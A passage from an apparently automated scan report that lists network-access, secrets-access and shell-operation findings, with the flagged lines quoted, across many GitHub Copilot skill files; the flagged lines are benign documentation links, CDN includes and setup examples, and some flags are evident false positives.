    <https://noc.ietf.org/geo/google.csv>.
  • Network accessline 635
    [GEO_RIPE_NCC]               Schepers, M., "RIPE NCC Meeting Geolocation Data",               <https://meetings.ripe.net/geo/google.csv>.
  • Network accessline 637
    <https://meetings.ripe.net/geo/google.csv>.
  • Network accessline 640
    Shields, M. and P. Moody, "Google's Python IP address               manipulation library",               <http://code.google.com/p/ipaddr-py/>.
  • Network accessline 642
    <http://code.google.com/p/ipaddr-py/>.
  • Network accessline 644
    [ISO-GLOSSARY]               ISO, "Glossary for ISO 3166",               <https://www.iso.org/glossary-for-iso-3166.html>.
  • Network accessline 646
    <https://www.iso.org/glossary-for-iso-3166.html>.
  • Network accessline 648
    [RFC2818]  Rescorla, E., "HTTP Over TLS", RFC 2818,               DOI 10.17487/RFC2818, May 2000,               <https://www.rfc-editor.org/info/rfc2818>.
  • Network accessline 650
    <https://www.rfc-editor.org/info/rfc2818>.
  • Network accessline 652
    [RFC3912]  Daigle, L., "WHOIS Protocol Specification", RFC 3912,               DOI 10.17487/RFC3912, September 2004,               <https://www.rfc-editor.org/info/rfc3912>.
  • Network accessline 654
    <https://www.rfc-editor.org/info/rfc3912>.
  • Network accessline 657
    Format for Presence Information Data Format Location               Object (PIDF-LO)", RFC 5139, DOI 10.17487/RFC5139,               February 2008, <https://www.rfc-editor.org/info/rfc5139>.
  • Network accessline 659
    February 2008, <https://www.rfc-editor.org/info/rfc5139>.
  • Network accessline 663
    A Document Format for Expressing Privacy Preferences for               Location Information", RFC 6772, DOI 10.17487/RFC6772,               January 2013, <https://www.rfc-editor.org/info/rfc6772>.
  • Network accessline 665
    January 2013, <https://www.rfc-editor.org/info/rfc6772>.
  • Network accessline 668
    Authorizing Use of Domains in Email, Version 1", RFC 7208,               DOI 10.17487/RFC7208, April 2014,               <https://www.rfc-editor.org/info/rfc7208>.
  • Network accessline 670
    <https://www.rfc-editor.org/info/rfc7208>.
  • Network accessline 673
    Interchange Format", STD 90, RFC 8259,               DOI 10.17487/RFC8259, December 2017,               <https://www.rfc-editor.org/info/rfc8259>.
  • Network accessline 675
    <https://www.rfc-editor.org/info/rfc8259>.

harness/github-copilot/skills/geofeed-tuner/references/snippets-python3.md

  • Network accessline 3
    - Use Python 3's built-in [`ipaddress` package](https://docs.python.org/3/harness/github-copilot/ipaddress.html), with `strict=True` passed to constructors where available.
  • Network accessline 9
    - Use the [convenience factory functions in `ipaddress`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#convenience-factory-functions).
  • Network accessline 30
    - Use the strict-form parser [`ipaddress.ip_network(address, strict=True)`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#ipaddress.ip_network).

harness/github-copilot/skills/geofeed-tuner/scripts/templates/index.html

  • Network accessline 5
    <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>Geofeed Tuner Report</title>     <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet">
  • Network accessline 6
    <title>Geofeed Tuner Report</title>     <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet">     <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/f
  • Network accessline 7
    <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet">
  • Network accessline 8
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/font/bootstrap-icons.css">
  • Network accessline 9
    <link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" />
  • Network accessline 10
    <script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"></script>
  • Network accessline 11
    <script src="https://unpkg.com/h3-js@4.1.0/dist/h3-js.umd.js"></script>
  • Network accessline 1111
    * @type {string}          */         const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search';
  • Network accessline 1113
    const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search';
  • Network accessline 1128
    const batchRows = rows.slice(i * MAX_BATCH_SIZE, (i + 1) * MAX_BATCH_SIZE);                 try {                     const response = await fetch(API_ENDPOINT, {
  • Network accessline 1129
    try {                     const response = await fetch(API_ENDPOINT, {                         method: 'POST',
  • Network accessline 1130
    const response = await fetch(API_ENDPOINT, {
  • Network accessline 1411
    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
  • Network accessline 2025
    zoom: 2                 });                 L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
  • Network accessline 2026
    });                 L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {                     attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',
  • Network accessline 2027
    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
  • Network accessline 2028
    attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',

harness/github-copilot/skills/gh-attach/SKILL.md

  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 102
    [Credential-related source omitted]

harness/github-copilot/skills/git-commit/SKILL.md

harness/github-copilot/skills/git-flow-branch-creator/SKILL.md

harness/github-copilot/skills/github-copilot-starter/SKILL.md

  • Network accessline 33
    1. Inspect the repository for stack signals before asking questions. 2. Research `awesome-copilot` examples with web fetch before generating content:    - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md
  • Network accessline 34
    2. Research `awesome-copilot` examples with web fetch before generating content:    - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md    - https://github.com/github/awesome-copilot/blob/main/docs/README.agent
  • Network accessline 35
    - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md
  • Network accessline 36
    - https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md
  • Network accessline 37
    - https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md
  • Network accessline 38
    - https://github.com/github/awesome-copilot/tree/main/instructions
  • Network accessline 39
    - https://github.com/github/awesome-copilot/tree/main/agents
  • Network accessline 40
    - https://github.com/github/awesome-copilot/tree/main/skills
  • Network accessline 119
    <!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/{filename}.instructions.md -->
  • Network accessline 140
    <!-- Based on: https://github.com/github/awesome-copilot/blob/main/instructions/nodejs-javascript-vitest.instructions.md -->
  • Network accessline 141
    <!-- Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md -->
  • Network accessline 142
    <!-- and: https://github.com/github/awesome-copilot/blob/main/instructions/springboot.instructions.md -->
  • Network accessline 171
    <!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/agents/{filename}.agent.md -->
  • Network accessline 274
    - [awesome-copilot instructions docs](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md)
  • Network accessline 275
    - [awesome-copilot agents docs](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md)
  • Network accessline 276
    - [awesome-copilot skills docs](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md)
  • Network accessline 277
    - [awesome-copilot instructions directory](https://github.com/github/awesome-copilot/tree/main/instructions)
  • Network accessline 278
    - [awesome-copilot agents directory](https://github.com/github/awesome-copilot/tree/main/agents)
  • Network accessline 279
    - [awesome-copilot skills directory](https://github.com/github/awesome-copilot/tree/main/skills)

harness/github-copilot/skills/github-issues/references/images.md

  • Network accessline 42
    ![Description](https://github.com/{owner}/{repo}/raw/{username}/images/docs/images/my-image.png)
  • Access to secretsline 45
    [Credential-related source omitted]
  • Network accessline 68
    1. Open the issue/comment in a browser 2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL
  • Network accessline 69
    2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL 4. These URLs work for anyone, even without repo access, and render in email notifications
  • Network accessline 70
    3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL
  • Access to secretsline 73
    [Credential-related source omitted]

harness/github-copilot/skills/github-release/SKILL.md

  • Network accessline 78
    7. Update or create `CHANGELOG.md` in Keep a Changelog format using today's `YYYY-MM-DD` date, show the proposed section to the user, then write it. Add or update the comparison link: `https://github.com/OWNER/REPO/compare/vPREV...vNEXT`.
  • Network accessline 229
    - [Keep a Changelog](https://keepachangelog.com/en/1.1.0/)
  • Network accessline 230
    - [GitHub compare URL pattern](https://github.com/OWNER/REPO/compare/vPREV...vNEXT)

harness/github-copilot/skills/github-release/references/commit-classification.md

  • Network accessline 8
    When reading `git log` output, map each commit to one of the categories below. Repos that follow Conventional Commits (https://www.conventionalcommits.org/) will
  • Network accessline 9
    Repos that follow Conventional Commits (https://www.conventionalcommits.org/) will

harness/github-copilot/skills/github-release/references/semver-rules.md

  • Network accessline 3
    Reference: https://semver.org/

harness/github-copilot/skills/gitmoji/SKILL.md

  • Network accessline 2
    name: "gitmoji" description: >-   Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change description. Use when ask
  • Network accessline 3
    description: >-   Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change description. Use when asked to write a gi
  • Network accessline 4
    Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change description. Use when asked to write a gitmoji commit, add 
  • Network accessline 10
    Generate a copyable commit message in the https://gitmoji.dev/ convention: infer the dominant change intent, select exactly one gitmoji, match unicode versus shortcode style, and write an imperative subject plus optional body.
  • Network accessline 92
    - Do not run `git commit` or any other mutating git command. - If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead.
  • Network accessline 93
    - If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead.
  • Network accessline 141
    - [gitmoji](https://gitmoji.dev)
  • Network accessline 142
    - [gitmoji with trailing slash](https://gitmoji.dev/)
  • Network accessline 143
    - [Conventional Commits](https://www.conventionalcommits.org/)

harness/github-copilot/skills/gitmoji/references/gitmoji-reference.md

  • Network accessline 3
    The complete official gitmoji list from [gitmoji.dev](https://gitmoji.dev/), in the order shown on the site. Each entry maps an emoji (and its `:shortcode:`) to the intent of the change it represents.
  • Network accessline 83
    > Source: [gitmojis.json](https://github.com/carloscuesta/gitmoji/blob/master/packages/gitmojis/src/gitmojis.json) — 75 gitmojis.

harness/github-copilot/skills/gsap-framer-scroll-animation/SKILL.md

  • Network accessline 5
    metadata:   author: "Utkarsh Patrikar"   author_url: "https://github.com/utkarsh232005"
  • Network accessline 6
    author: "Utkarsh Patrikar"   author_url: "https://github.com/utkarsh232005" ---
  • Network accessline 7
    author_url: "https://github.com/utkarsh232005"
  • Network accessline 176
    - [Author profile](https://github.com/utkarsh232005)

harness/github-copilot/skills/gsap-framer-scroll-animation/references/gsap.md

  • Network accessline 45
    <script src="https://cdn.jsdelivr.net/npm/gsap@3.14/dist/gsap.min.js"></script>
  • Network accessline 46
    <script src="https://cdn.jsdelivr.net/npm/gsap@3.14/dist/ScrollTrigger.min.js"></script>

harness/github-copilot/skills/gtm-0-to-1-launch/SKILL.md

  • Network accessline 5
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 169
    - [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 170
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/github-copilot/skills/gtm-ai-gtm/SKILL.md

  • Network accessline 5
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 151
    - [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 152
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/github-copilot/skills/gtm-board-and-investor-communication/SKILL.md

  • Network accessline 8
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Dangerous shell operationline 383
    Exec (weekly) → Leadership (bi-weekly) → All-hands (monthly) → Team (ongoing)
  • Network accessline 429
    - [ ] Follow-up owners and dates are explicit. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 430
    ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 431
    - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 432
    - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)

harness/github-copilot/skills/gtm-developer-ecosystem/SKILL.md

  • Network accessline 7
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 9
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 354
    - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 355
    - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)

harness/github-copilot/skills/gtm-enterprise-account-planning/SKILL.md

  • Network accessline 5
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 241
    - [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 242
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/github-copilot/skills/gtm-enterprise-onboarding/SKILL.md

  • Network accessline 7
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 9
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 437
    - [ ] Red flags such as Week 4 ghosting, Week 5 pilot non-use, and Week 8-12 adoption decline have escalation actions. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 438
    ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 439
    - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 440
    - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)

harness/github-copilot/skills/gtm-operating-cadence/SKILL.md

  • Network accessline 5
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 258
    - [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 259
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/github-copilot/skills/gtm-partnership-architecture/SKILL.md

  • Network accessline 5
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 156
    - [Original technical product GTM source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 157
    - [Author profile](https://linkedin.com/in/smitkpatel)

harness/github-copilot/skills/gtm-positioning-strategy/SKILL.md

  • Network accessline 5
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 198
    - [Source repository](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 199
    - [Author profile](https://linkedin.com/in/smitkpatel)

harness/github-copilot/skills/gtm-product-led-growth/SKILL.md

  • Network accessline 5
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"

harness/github-copilot/skills/gtm-technical-product-pricing/SKILL.md

  • Network accessline 5
    license: MIT metadata:   author: Smit Patel (https://linkedin.com/in/smitkpatel)
  • Network accessline 6
    metadata:   author: Smit Patel (https://linkedin.com/in/smitkpatel)   source: https://github.com/beingsmit/technical-product-gtm
  • Network accessline 7
    author: Smit Patel (https://linkedin.com/in/smitkpatel)
  • Network accessline 8
    source: https://github.com/beingsmit/technical-product-gtm
  • Network accessline 194
    - [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 195
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/github-copilot/skills/harness-engineering/SKILL.md

  • Network accessline 120
    The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid
  • Network accessline 157
    - [Harness starter kit](https://github.com/baskduf/harness-starter-kit)

harness/github-copilot/skills/image-manipulation-image-magick/SKILL.md

  • Dangerous shell operationline 78
    echo "  Ubuntu/Debian: sudo apt install imagemagick"

harness/github-copilot/skills/impediment-prioritization/SKILL.md

  • Network accessline 89
    | Rank | Impediment | Countermeasure | ROI | Cost | Ease | Risk | Priority | Rationale | | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/o
  • Network accessline 90
    | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your
  • Network accessline 91
    | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-you
  • Network accessline 92
    | 2 | Secret scanning disabled | Enable secret scanning + push protection org-wide ([docs](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning)) | 8 | 3 | 7 | 3 | 25.0 | ROI: catches leaked creds pre-merge<br>Cost
  • Network accessline 93
    | 3 | No CODEOWNERS on critical repos | Add CODEOWNERS to top-20 repos ([docs](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)) | 6 | 4 | 6 | 4 | 15.0 | 
  • Network accessline 144
    - [GitHub 2FA organization enforcement](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization)
  • Network accessline 145
    - [GitHub secret scanning](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning)
  • Network accessline 146
    - [GitHub CODEOWNERS](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)

harness/github-copilot/skills/import-infrastructure-as-code/SKILL.md

  • Network accessline 67
    | Source | URL or pattern | | --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` |
  • Network accessline 68
    | --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | | Terraform Pattern Modules | `https://raw.githubusercon
  • Network accessline 69
    | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` |
  • Network accessline 70
    | Terraform Pattern Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformPatternModules.csv` |
  • Network accessline 71
    | Terraform Utility Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformUtilityModules.csv` |
  • Network accessline 72
    | Registry namespace | `https://registry.terraform.io/namespaces/Azure` |
  • Network accessline 73
    | Registry module | `https://registry.terraform.io/modules/Azure/<module>/azurerm/latest` |
  • Network accessline 74
    | GitHub module | `https://github.com/Azure/terraform-azurerm-avm-res-{service}-{resource}` |
  • Network accessline 75
    | README | `https://raw.githubusercontent.com/Azure/terraform-azurerm-avm-res-{service}-{resource}/refs/heads/main/README.md` |
  • Network accessline 76
    | AVM index | `https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes` |
  • Network accessline 219
    - [Azure Verified Modules index (Terraform)](https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes)
  • Network accessline 220
    - [Terraform AVM Registry namespace](https://registry.terraform.io/namespaces/Azure)

harness/github-copilot/skills/issue-fields-migration/SKILL.md

  • Network accessline 125
    - [Issue fields public preview changelog](https://github.blog/changelog/2026-03-12-issue-fields-structured-issue-metadata-is-in-public-preview/)

harness/github-copilot/skills/java-add-graalvm-native-image-support/SKILL.md

  • Network accessline 450
    - [ ] The native executable was started and critical paths were tested after a successful build. ## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/)
  • Network accessline 451
    ## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html)
  • Network accessline 452
    - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/)
  • Network accessline 453
    - [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html)
  • Network accessline 454
    - [Quarkus Building Native Images](https://quarkus.io/guides/building-native-image)
  • Network accessline 455
    - [Micronaut GraalVM Support](https://docs.micronaut.io/latest/guide/index.html#graal)
  • Network accessline 456
    - [GraalVM Reachability Metadata](https://github.com/oracle/graalvm-reachability-metadata)
  • Network accessline 457
    - [Native Build Tools](https://graalvm.github.io/native-build-tools/latest/index.html)

harness/github-copilot/skills/java-mcp-server-generator/SKILL.md

  • Network accessline 58
    <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/"
  • Network accessline 59
    <project xmlns="http://maven.apache.org/"
  • Network accessline 60
    "POM/4.0.0"          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
  • Network accessline 61
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  • Network accessline 62
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
  • Network accessline 63
    https://maven.apache.org/xsd/maven-4.0.0.xsd">

harness/github-copilot/skills/javax-to-jakarta-migration/SKILL.md

  • Network accessline 70
    | `pom.xml` | `javax.validation:validation-api` | `jakarta.validation:jakarta.validation-api:3.0.2` | | `pom.xml` | `javax.annotation:javax.annotation-api` | `jakarta.annotation:jakarta.annotation-api:2.1.1` | | `web.xml` | `http://xmlns.jc
  • Network accessline 72
    | `web.xml` | `http://xmlns.jcp.org/xml/ns/javaee` with `version="4.0"` on the `web-app` descriptor | `https://jakarta.ee/xml/ns/jakartaee` with `version="6.0"` on the `web-app` descriptor |
  • Network accessline 116
    - [ ] Every migrated package appears in the migration map and no keep-list package was changed. - [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `v
  • Network accessline 117
    - [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required. - [ ] `mvn clean compile`, `./gradlew build`, or the re
  • Network accessline 118
    - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required.
  • Network accessline 124
    - [Legacy Java EE web.xml namespace](http://xmlns.jcp.org/xml/ns/javaee)
  • Network accessline 125
    - [Jakarta EE XML namespace](https://jakarta.ee/xml/ns/jakartaee)

harness/github-copilot/skills/landing-page-conversion-audit/SKILL.md

  • Network accessline 94
    If the user wants those built rather than diagnosed, Autonnel is an Apache-2.0 self-hosted funnel builder that supports landing → checkout → one-click upsell → thank-you, click IDs, and server-side postbacks to Facebook, TikTok, Google, and
  • Network accessline 99
    docker compose up # open http://localhost:4321 and complete /setup
  • Network accessline 100
    # open http://localhost:4321 and complete /setup
  • Network accessline 138
    - [Autonnel](https://github.com/autonnel/autonnel)
  • Network accessline 139
    - [Local Autonnel setup endpoint](http://localhost:4321)

harness/github-copilot/skills/latchshot-page-capture/SKILL.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Network accessline 21
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 27
    | Request | Handle with Latchshot? | Rule | | --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. |
  • Network accessline 28
    | --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | | PNG, JPEG, or PDF output | Yes | Infer from `.png`, `.jpg`, `.jpeg`, or `.pdf`, or pass `--format`. |
  • Network accessline 29
    | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. |
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 44
    node scripts/latchshot.mjs demo \   --url 'https://example.com' \
  • Network accessline 45
    --url 'https://example.com' \
  • Network accessline 49
    The demo is JPEG-only, does not use an account or render quota, allows three attempts per IP address per hour, and accepts only width, height, query confirmation, and explicit overwrite options. The public URL is still sent to Latchshot wit
  • Network accessline 62
    node scripts/latchshot.mjs capture \   --url 'https://example.com' \
  • Network accessline 63
    --url 'https://example.com' \
  • Network accessline 70
    node scripts/latchshot.mjs capture \   --url 'https://example.com' \
  • Network accessline 71
    --url 'https://example.com' \
  • Network accessline 80
    node scripts/latchshot.mjs capture \   --url 'https://example.com' \
  • Network accessline 81
    --url 'https://example.com' \
  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 145
    - [Latchshot service origin](https://latchshot.fly.dev)
  • Network accessline 146
    - [Agent Skills setup documentation](https://latchshot.fly.dev/integrations.md#agent-skills)

harness/github-copilot/skills/latchshot-page-capture/scripts/latchshot.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 9
    const ORIGIN = 'https://latchshot.fly.dev';
  • Access to secretsline 75
    [Credential-related source omitted]
  • Network accessline 106
    Examples:   node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg
  • Network accessline 107
    node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg
  • Network accessline 108
    node scripts/latchshot.mjs capture --url https://example.com --output page.png
  • Network accessline 109
    node scripts/latchshot.mjs capture --url https://example.com --output page.pdf --paper A4
  • Access to secretsline 192
    [Credential-related source omitted]
  • Access to secretsline 194
    [Credential-related source omitted]

harness/github-copilot/skills/legacy-circuit-mockups/references/28256-eeprom.md

  • Network accessline 185
    * <https://www.utmel.com/components/at28bv256-eeproms-pinout-equivalent-and-datasheet?id=1019>
  • Network accessline 186
    * <https://www.futurlec.com/Memory/28C256.shtml>
  • Network accessline 187
    * <https://ww1.microchip.com/downloads/en/DeviceDoc/doc0006.pdf>
  • Network accessline 188
    * <https://bread80.com/2020/08/10/the-ben-eater-eeprom-programmer-28c256-and-software-data-protection/>

harness/github-copilot/skills/legacy-circuit-mockups/references/555.md

  • Network accessline 3
    [www.fairchildsemi.com](https://www.fairchildsemi.com)

harness/github-copilot/skills/legacy-circuit-mockups/references/6502.md

  • Network accessline 210
    * <https://syncopate.us/books/Synertek6502ProgrammingManual.html>
  • Network accessline 211
    * <https://en.wikipedia.org/wiki/MOS_Technology_6502>
  • Network accessline 212
    * <https://web.archive.org/web/20061114024257/http://www.westerndesigncenter.com/wdc/documentation/Programmanual.pdf>
  • Network accessline 213
    * Tutorial excerpts from <https://wilsonminesco.com/6502primer/>
